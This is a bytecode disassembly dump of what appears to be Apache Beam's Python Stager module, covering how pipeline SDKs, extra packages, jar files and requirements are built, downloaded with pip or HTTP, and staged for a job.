setup_options LOAD_ATTR setup_file LOAD_FAST temp_dir LOAD_FAST build_setup_args CALL_METHOD STORE_FAST tarball_file LOAD_FAST resources LOAD_METHOD append LOAD_GLOBAL Stager LOAD_METHOD _create_file_stage_to_artifact LOAD_FAST tarball_file LOAD_GLOBAL WORKFLOW_TARBALL_FILE CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST setup_options LOAD_ATTR extra_packages LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST resources LOAD_METHOD extend LOAD_GLOBAL Stager LOAD_ATTR _create_extra_packages LOAD_FAST setup_options LOAD_ATTR extra_packages LOAD_FAST temp_dir LOAD_CONST ('temp_dir',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_GLOBAL hasattr LOAD_FAST setup_options LOAD_CONST 'sdk_location' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST setup_options LOAD_ATTR sdk_location STORE_FAST sdk_location LOAD_GLOBAL Stager LOAD_METHOD _is_remote_path LOAD_FAST sdk_location CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_EXCEPT to 632 LOAD_FAST resources LOAD_METHOD extend LOAD_GLOBAL Stager LOAD_ATTR _create_beam_sdk LOAD_FAST setup_options LOAD_ATTR sdk_location LOAD_FAST temp_dir LOAD_CONST ('sdk_remote_location', 'temp_dir') CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 656 POP_TOP POP_TOP POP_TOP LOAD_GLOBAL RuntimeError LOAD_CONST 'The --sdk_location option was used with an unsupported type of location: %s' LOAD_FAST sdk_location BINARY_MODULO CALL_FUNCTION RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 656 END_FINALLY JUMP_FORWARD to 836 LOAD_FAST sdk_location LOAD_CONST 'default' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE JUMP_FORWARD to 836 LOAD_FAST sdk_location LOAD_CONST 'container' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE JUMP_FORWARD to 836 LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isdir LOAD_FAST setup_options LOAD_ATTR sdk_location CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST setup_options LOAD_ATTR sdk_location LOAD_GLOBAL names LOAD_ATTR STAGED_SDK_SOURCES_FILENAME CALL_METHOD STORE_FAST sdk_path JUMP_FORWARD to 724 LOAD_FAST setup_options LOAD_ATTR sdk_location STORE_FAST sdk_path LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isfile LOAD_FAST sdk_path CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Copying Beam SDK "%s" to staging location.' LOAD_FAST sdk_path CALL_METHOD POP_TOP LOAD_FAST resources LOAD_METHOD append LOAD_GLOBAL Stager LOAD_METHOD _create_file_stage_to_artifact LOAD_FAST sdk_path LOAD_GLOBAL Stager LOAD_METHOD _desired_sdk_filename_in_staging_location LOAD_FAST setup_options LOAD_ATTR sdk_location CALL_METHOD CALL_METHOD CALL_METHOD POP_TOP JUMP_FORWARD to 836 LOAD_FAST setup_options LOAD_ATTR sdk_location LOAD_CONST 'default' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'Cannot find default Beam SDK tar file "%s"' LOAD_FAST sdk_path BINARY_MODULO CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 836 LOAD_FAST setup_options LOAD_ATTR sdk_location EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Beam SDK will not be staged since --sdk_location is empty.' CALL_METHOD POP_TOP JUMP_FORWARD to 836 LOAD_GLOBAL RuntimeError LOAD_CONST 'The file "%s" cannot be found. Its location was specified by the --sdk_location command-line option.' LOAD_FAST sdk_path BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_FAST options LOAD_METHOD view_as LOAD_GLOBAL DebugOptions CALL_METHOD LOAD_METHOD lookup_experiment LOAD_CONST 'jar_packages' CALL_METHOD STORE_FAST jar_packages LOAD_FAST jar_packages LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST resources LOAD_METHOD extend LOAD_GLOBAL Stager LOAD_ATTR _create_jar_packages LOAD_FAST jar_packages LOAD_METHOD split LOAD_CONST ',' CALL_METHOD LOAD_FAST temp_dir LOAD_CONST ('temp_dir',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST setup_options LOAD_ATTR save_main_session EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST temp_dir LOAD_GLOBAL names LOAD_ATTR PICKLED_MAIN_SESSION_FILE CALL_METHOD STORE_FAST pickled_session_file LOAD_GLOBAL pickler LOAD_METHOD dump_session LOAD_FAST pickled_session_file CALL_METHOD POP_TOP LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_FAST pickled_session_file CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST resources LOAD_METHOD append LOAD_GLOBAL Stager LOAD_METHOD _create_file_stage_to_artifact LOAD_FAST pickled_session_file LOAD_GLOBAL names LOAD_ATTR PICKLED_MAIN_SESSION_FILE CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST resources RETURN_VALUE LOAD_FAST staging_location LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'The staging_location must be specified.' CALL_FUNCTION RAISE_VARARGS BUILD_LIST STORE_FAST staged_resources SETUP_LOOP to 72 LOAD_FAST resources GET_ITER FOR_ITER to 70 UNPACK_SEQUENCE STORE_FAST file_path STORE_FAST staged_path STORE_FAST sha256 LOAD_FAST self LOAD_METHOD stage_artifact LOAD_FAST file_path LOAD_GLOBAL FileSystems LOAD_METHOD join LOAD_FAST staging_location LOAD_FAST staged_path CALL_METHOD LOAD_FAST sha256 CALL_METHOD POP_TOP LOAD_FAST staged_resources LOAD_METHOD append LOAD_FAST staged_path CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST staged_resources RETURN_VALUE LOAD_FAST temp_dir JUMP_IF_TRUE_OR_POP LOAD_GLOBAL tempfile LOAD_METHOD mkdtemp CALL_METHOD STORE_FAST temp_dir LOAD_FAST self LOAD_ATTR create_job_resources LOAD_FAST options LOAD_FAST temp_dir LOAD_FAST build_setup_args LOAD_FAST pypi_requirements LOAD_FAST populate_requirements_cache LOAD_CONST ('pypi_requirements', 'populate_requirements_cache') CALL_FUNCTION STORE_FAST resources LOAD_FAST self LOAD_METHOD stage_job_resources LOAD_GLOBAL list LOAD_GLOBAL Stager LOAD_METHOD extract_staging_tuple_iter LOAD_FAST resources CALL_METHOD CALL_FUNCTION LOAD_FAST staging_location CALL_METHOD STORE_FAST staged_resources LOAD_GLOBAL shutil LOAD_METHOD rmtree LOAD_FAST temp_dir CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD commit_manifest CALL_METHOD STORE_FAST retrieval_token LOAD_FAST retrieval_token LOAD_FAST staged_resources BUILD_TUPLE RETURN_VALUE LOAD_FAST from_url LOAD_METHOD startswith LOAD_CONST 'http://' CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST from_url LOAD_METHOD startswith LOAD_CONST 'https://' CALL_METHOD POP_JUMP_IF_FALSE SETUP_EXCEPT to 106 LOAD_GLOBAL get_new_http CALL_FUNCTION LOAD_METHOD request LOAD_FAST from_url CALL_METHOD UNPACK_SEQUENCE STORE_FAST response STORE_FAST content LOAD_GLOBAL int LOAD_FAST response LOAD_CONST 'status' BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 400 COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_CONST 'Artifact not found at %s (response: %s)' LOAD_FAST from_url LOAD_FAST response BUILD_TUPLE BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL open LOAD_FAST to_path LOAD_CONST 'wb' CALL_FUNCTION SETUP_WITH to 96 STORE_FAST f LOAD_FAST f LOAD_METHOD write LOAD_FAST content CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK JUMP_FORWARD to 140 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Failed to download Artifact from %s' LOAD_FAST from_url CALL_METHOD POP_TOP RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 140 END_FINALLY JUMP_FORWARD to 376 SETUP_EXCEPT to 250 LOAD_GLOBAL FileSystems LOAD_ATTR open LOAD_FAST from_url LOAD_GLOBAL CompressionTypes LOAD_ATTR UNCOMPRESSED LOAD_CONST ('compression_type',) CALL_FUNCTION STORE_FAST read_handle LOAD_FAST read_handle SETUP_WITH to 226 STORE_FAST fin LOAD_GLOBAL open LOAD_FAST to_path LOAD_CONST 'wb' CALL_FUNCTION SETUP_WITH to 216 STORE_FAST f SETUP_LOOP to 212 LOAD_FAST fin LOAD_METHOD read LOAD_GLOBAL Stager LOAD_ATTR _DEFAULT_CHUNK_SIZE CALL_METHOD STORE_FAST chunk LOAD_FAST chunk POP_JUMP_IF_TRUE BREAK_LOOP LOAD_FAST f LOAD_METHOD write LOAD_FAST chunk CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Copied remote file from %s to %s.' LOAD_FAST from_url LOAD_FAST to_path CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 290 LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Failed to download file from %s via apache_beam.io.filesystems.Trying to copy directly. %s' LOAD_FAST from_url LOAD_GLOBAL repr LOAD_FAST e CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 304 END_FINALLY LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isdir LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_FAST to_path CALL_METHOD CALL_METHOD EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Created folder (since we have not done yet, and any errors will follow): %s ' LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_FAST to_path CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL os LOAD_METHOD mkdir LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_FAST to_path CALL_METHOD CALL_METHOD POP_TOP LOAD_GLOBAL shutil LOAD_METHOD copyfile LOAD_FAST from_url LOAD_FAST to_path CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST path LOAD_METHOD find LOAD_CONST '://' CALL_METHOD LOAD_CONST -1 COMPARE_OP != RETURN_VALUE BUILD_LIST STORE_FAST resources LOAD_GLOBAL tempfile LOAD_ATTR mkdtemp LOAD_FAST temp_dir LOAD_CONST ('dir',) CALL_FUNCTION STORE_DEREF staging_temp_dir BUILD_LIST STORE_FAST local_packages SETUP_LOOP to 162 LOAD_FAST jar_packages GET_ITER FOR_ITER to 160 STORE_FAST package LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST package CALL_METHOD LOAD_METHOD endswith LOAD_CONST '.jar' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL RuntimeError LOAD_CONST 'The --experiment=\'jar_packages=\' option expects a full path ending with ".jar" instead of %s' LOAD_FAST package BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isfile LOAD_FAST package CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL Stager LOAD_METHOD _is_remote_path LOAD_FAST package CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Downloading jar package: %s locally before staging' LOAD_FAST package CALL_METHOD POP_TOP LOAD_GLOBAL FileSystems LOAD_METHOD split LOAD_FAST package CALL_METHOD UNPACK_SEQUENCE STORE_FAST _ STORE_FAST last_component LOAD_GLOBAL FileSystems LOAD_METHOD join LOAD_DEREF staging_temp_dir LOAD_FAST last_component CALL_METHOD STORE_FAST local_file_path LOAD_GLOBAL Stager LOAD_METHOD _download_file LOAD_FAST package LOAD_FAST local_file_path CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_GLOBAL RuntimeError LOAD_CONST "The file %s cannot be found. It was specified in the --experiment='jar_packages=' command line option." LOAD_FAST package BINARY_MODULO CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE LOAD_FAST local_packages LOAD_METHOD append LOAD_FAST package CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST local_packages LOAD_METHOD extend LOAD_CLOSURE staging_temp_dir BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab82334780, file "f.py", line 557> LOAD_CONST 'Stager._create_jar_packages.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL os LOAD_METHOD listdir LOAD_DEREF staging_temp_dir CALL_METHOD GET_ITER CALL_FUNCTION CALL_METHOD POP_TOP SETUP_LOOP to 236 LOAD_FAST local_packages GET_ITER FOR_ITER to 234 STORE_FAST package LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST package CALL_METHOD STORE_FAST basename LOAD_FAST resources LOAD_METHOD append LOAD_GLOBAL Stager LOAD_METHOD _create_file_stage_to_artifact LOAD_FAST package LOAD_FAST basename CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST resources RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST f LOAD_GLOBAL FileSystems LOAD_METHOD join LOAD_DEREF staging_temp_dir LOAD_FAST f CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST STORE_FAST resources LOAD_GLOBAL tempfile LOAD_ATTR mkdtemp LOAD_FAST temp_dir LOAD_CONST ('dir',) CALL_FUNCTION STORE_DEREF staging_temp_dir BUILD_LIST STORE_FAST local_packages SETUP_LOOP to 248 LOAD_FAST extra_packages GET_ITER FOR_ITER to 246 STORE_FAST package LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST package CALL_METHOD LOAD_METHOD endswith LOAD_CONST '.tar' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST package CALL_METHOD LOAD_METHOD endswith LOAD_CONST '.tar.gz' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST package CALL_METHOD LOAD_METHOD endswith LOAD_CONST '.whl' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST package CALL_METHOD LOAD_METHOD endswith LOAD_CONST '.zip' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL RuntimeError LOAD_CONST 'The --extra_package option expects a full path ending with ".tar", ".tar.gz", ".whl" or ".zip" instead of %s' LOAD_FAST package BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST package CALL_METHOD LOAD_METHOD endswith LOAD_CONST '.whl' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL _LOGGER LOAD_METHOD warning LOAD_CONST 'The .whl package "%s" provided in --extra_package must be binary-compatible with the worker runtime environment.' LOAD_FAST package BINARY_MODULO CALL_METHOD POP_TOP LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD isfile LOAD_FAST package CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL Stager LOAD_METHOD _is_remote_path LOAD_FAST package CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Downloading extra package: %s locally before staging' LOAD_FAST package CALL_METHOD POP_TOP LOAD_GLOBAL FileSystems LOAD_METHOD split LOAD_FAST package CALL_METHOD UNPACK_SEQUENCE STORE_FAST _ STORE_FAST last_component LOAD_GLOBAL FileSystems LOAD_METHOD join LOAD_DEREF staging_temp_dir LOAD_FAST last_component CALL_METHOD STORE_FAST local_file_path LOAD_GLOBAL Stager LOAD_METHOD _download_file LOAD_FAST package LOAD_FAST local_file_path CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_GLOBAL RuntimeError LOAD_CONST 'The file %s cannot be found. It was specified in the --extra_packages command line option.' LOAD_FAST package BINARY_MODULO CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE LOAD_FAST local_packages LOAD_METHOD append LOAD_FAST package CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST local_packages LOAD_METHOD extend LOAD_CLOSURE staging_temp_dir BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7fab542adf60, file "f.py", line 627> LOAD_CONST 'Stager._create_extra_packages.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL os LOAD_METHOD listdir LOAD_DEREF staging_temp_dir CALL_METHOD GET_ITER CALL_FUNCTION CALL_METHOD POP_TOP SETUP_LOOP to 324 LOAD_FAST local_packages GET_ITER FOR_ITER to 322 STORE_FAST package LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST package CALL_METHOD STORE_FAST basename LOAD_FAST resources LOAD_METHOD append LOAD_GLOBAL Stager LOAD_METHOD _create_file_stage_to_artifact LOAD_FAST package LOAD_FAST basename CALL_METHOD CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL open LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST temp_dir LOAD_GLOBAL EXTRA_PACKAGES_FILE CALL_METHOD LOAD_CONST 'wt' CALL_FUNCTION SETUP_WITH to 388 STORE_FAST f SETUP_LOOP to 384 LOAD_FAST local_packages GET_ITER FOR_ITER to 382 STORE_FAST package LOAD_FAST f LOAD_METHOD write LOAD_CONST '%s\n' LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST package CALL_METHOD BINARY_MODULO CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST resources LOAD_METHOD append LOAD_GLOBAL Stager LOAD_METHOD _create_file_stage_to_artifact LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST temp_dir LOAD_GLOBAL EXTRA_PACKAGES_FILE CALL_METHOD LOAD_GLOBAL EXTRA_PACKAGES_FILE CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST resources RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST f LOAD_GLOBAL FileSystems LOAD_METHOD join LOAD_DEREF staging_temp_dir LOAD_FAST f CALL_METHOD LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL os LOAD_ATTR environ LOAD_METHOD get LOAD_CONST 'BEAM_PYTHON' CALL_METHOD JUMP_IF_TRUE_OR_POP LOAD_GLOBAL sys LOAD_ATTR executable STORE_FAST python_bin LOAD_FAST python_bin POP_JUMP_IF_TRUE LOAD_GLOBAL ValueError LOAD_CONST 'Could not find Python executable.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST python_bin RETURN_VALUE LOAD_GLOBAL open LOAD_FAST requirements_file LOAD_CONST 'r' CALL_FUNCTION SETUP_WITH to 24 STORE_FAST f LOAD_FAST f LOAD_METHOD readlines CALL_METHOD STORE_FAST lines POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST temp_directory_path LOAD_CONST 'tmp_requirements.txt' CALL_METHOD STORE_FAST tmp_requirements_filename LOAD_GLOBAL open LOAD_FAST tmp_requirements_filename LOAD_CONST 'w' CALL_FUNCTION SETUP_WITH to 110 STORE_FAST tf SETUP_LOOP to 106 LOAD_GLOBAL range LOAD_GLOBAL len LOAD_FAST lines CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 104 STORE_FAST i LOAD_FAST lines LOAD_FAST i BINARY_SUBSCR LOAD_METHOD startswith LOAD_FAST dependency_to_remove CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST tf LOAD_METHOD write LOAD_FAST lines LOAD_FAST i BINARY_SUBSCR CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST tmp_requirements_filename RETURN_VALUE BUILD_LIST STORE_FAST local_deps BUILD_LIST STORE_FAST pypi_deps LOAD_GLOBAL open LOAD_FAST requirements_file LOAD_CONST 'r' CALL_FUNCTION SETUP_WITH to 80 STORE_FAST fin SETUP_LOOP to 76 LOAD_FAST fin GET_ITER FOR_ITER to 74 STORE_FAST line LOAD_FAST line LOAD_METHOD strip CALL_METHOD STORE_FAST dep LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD exists LOAD_FAST dep CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST local_deps LOAD_METHOD append LOAD_FAST dep CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST pypi_deps LOAD_METHOD append LOAD_FAST dep CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST local_deps POP_JUMP_IF_FALSE LOAD_GLOBAL tempfile LOAD_ATTR NamedTemporaryFile LOAD_CONST '-requirements.txt' LOAD_CONST False LOAD_CONST ('suffix', 'delete') CALL_FUNCTION SETUP_WITH to 138 STORE_FAST fout LOAD_FAST fout LOAD_METHOD write LOAD_CONST '\n' LOAD_METHOD join LOAD_FAST pypi_deps CALL_METHOD LOAD_METHOD encode LOAD_CONST 'utf-8' CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST local_deps LOAD_FAST fout LOAD_ATTR name BUILD_TUPLE RETURN_VALUE WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY JUMP_FORWARD to 154 BUILD_LIST LOAD_FAST requirements_file BUILD_TUPLE RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL distribution LOAD_CONST 'pip' CALL_FUNCTION LOAD_ATTR version STORE_FAST pip_version LOAD_GLOBAL version LOAD_METHOD parse LOAD_FAST pip_version CALL_METHOD LOAD_GLOBAL version LOAD_METHOD parse LOAD_CONST '19.3' CALL_METHOD COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_CONST 'manylinux2014_x86_64' RETURN_VALUE LOAD_CONST 'manylinux2010_x86_64' RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL tempfile LOAD_METHOD TemporaryDirectory CALL_METHOD SETUP_WITH to 186 STORE_FAST temp_directory LOAD_GLOBAL Stager LOAD_ATTR _remove_dependency_from_requirements LOAD_FAST requirements_file LOAD_CONST 'apache-beam' LOAD_FAST temp_directory LOAD_CONST ('requirements_file', 'dependency_to_remove', 'temp_directory_path') CALL_FUNCTION STORE_FAST tmp_requirements_filepath LOAD_GLOBAL Stager LOAD_METHOD _get_python_executable CALL_METHOD LOAD_CONST '-m' LOAD_CONST 'pip' LOAD_CONST 'download' LOAD_CONST '--dest' LOAD_FAST cache_dir LOAD_CONST '-r' LOAD_FAST tmp_requirements_filepath LOAD_CONST '--exists-action' LOAD_CONST 'i' LOAD_CONST '--no-deps' BUILD_LIST STORE_FAST cmd_args LOAD_FAST populate_cache_with_sdists POP_JUMP_IF_FALSE LOAD_FAST cmd_args LOAD_METHOD extend LOAD_CONST '--no-binary' LOAD_CONST ':all:' BUILD_LIST CALL_METHOD POP_TOP JUMP_FORWARD to 154 LOAD_CONST 'cp' STORE_FAST language_implementation_tag LOAD_GLOBAL sys LOAD_ATTR version_info LOAD_CONST (3, 8) COMPARE_OP < POP_JUMP_IF_FALSE LOAD_CONST 'm' JUMP_FORWARD to 96 LOAD_CONST '' STORE_FAST abi_suffix LOAD_CONST 'cp%d%d%s' LOAD_GLOBAL sys LOAD_ATTR version_info LOAD_CONST 0 BINARY_SUBSCR LOAD_GLOBAL sys LOAD_ATTR version_info LOAD_CONST 1 BINARY_SUBSCR LOAD_FAST abi_suffix BUILD_TUPLE BINARY_MODULO STORE_FAST abi_tag LOAD_GLOBAL Stager LOAD_METHOD _get_platform_for_default_sdk_container CALL_METHOD STORE_FAST platform_tag LOAD_FAST cmd_args LOAD_METHOD extend LOAD_CONST '--implementation' LOAD_FAST language_implementation_tag LOAD_CONST '--abi' LOAD_FAST abi_tag LOAD_CONST '--platform' LOAD_FAST platform_tag BUILD_LIST CALL_METHOD POP_TOP LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Executing command: %s' LOAD_FAST cmd_args CALL_METHOD POP_TOP LOAD_GLOBAL processes LOAD_ATTR check_output LOAD_FAST cmd_args LOAD_GLOBAL processes LOAD_ATTR STDOUT LOAD_CONST ('stderr',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL os LOAD_METHOD getcwd CALL_METHOD STORE_FAST saved_current_directory SETUP_FINALLY to 216 LOAD_GLOBAL os LOAD_METHOD chdir LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_FAST setup_file CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST build_setup_args LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE SETUP_EXCEPT to 94 LOAD_GLOBAL Stager LOAD_METHOD _get_python_executable CALL_METHOD LOAD_CONST '-m' LOAD_CONST 'build' LOAD_CONST '--sdist' LOAD_CONST '--outdir' LOAD_FAST temp_dir LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD dirname LOAD_FAST setup_file CALL_METHOD BUILD_LIST STORE_FAST build_setup_args LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Executing command: %s' LOAD_FAST build_setup_args CALL_METHOD POP_TOP LOAD_GLOBAL processes LOAD_METHOD check_output LOAD_FAST build_setup_args CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 162 DUP_TOP LOAD_GLOBAL RuntimeError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL Stager LOAD_METHOD _get_python_executable CALL_METHOD LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD basename LOAD_FAST setup_file CALL_METHOD LOAD_CONST 'sdist' LOAD_CONST '--dist-dir' LOAD_FAST temp_dir BUILD_LIST STORE_FAST build_setup_args LOAD_GLOBAL _LOGGER LOAD_METHOD info LOAD_CONST 'Executing command: %s' LOAD_FAST build_setup_args CALL_METHOD POP_TOP LOAD_GLOBAL processes LOAD_METHOD check_output LOAD_FAST build_setup_args CALL_METHOD POP_TOP POP_EXCEPT JUMP_FORWARD to 162 END_FINALLY LOAD_GLOBAL glob LOAD_METHOD glob LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST temp_dir LOAD_CONST '*.tar.gz' CALL_METHOD CALL_METHOD STORE_FAST output_files LOAD_FAST output_files POP_JUMP_IF_TRUE LOAD_GLOBAL RuntimeError LOAD_CONST 'File %s not found.' LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD join LOAD_FAST temp_dir LOAD_CONST '*.tar.gz' CALL_METHOD BINARY_MODULO CALL_FUNCTION RAISE_VARARGS LOAD_FAST output_files LOAD_CONST 0 BINARY_SUBSCR RETURN_VALUE LOAD_GLOBAL os LOAD_METHOD chdir LOAD_FAST saved_current_directory CALL_METHOD POP_TOP END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST sdk_location LOAD_METHOD endswith LOAD_CONST '.whl' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL FileSystems LOAD_METHOD split LOAD_FAST sdk_location CALL_METHOD UNPACK_SEQUENCE STORE_FAST _ STORE_FAST wheel_filename LOAD_FAST wheel_filename LOAD_METHOD startswith LOAD_CONST 'apache_beam' CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST wheel_filename RETURN_VALUE LOAD_GLOBAL RuntimeError LOAD_CONST 'Unrecognized SDK wheel file: %s' LOAD_FAST sdk_location BINARY_MODULO CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 58 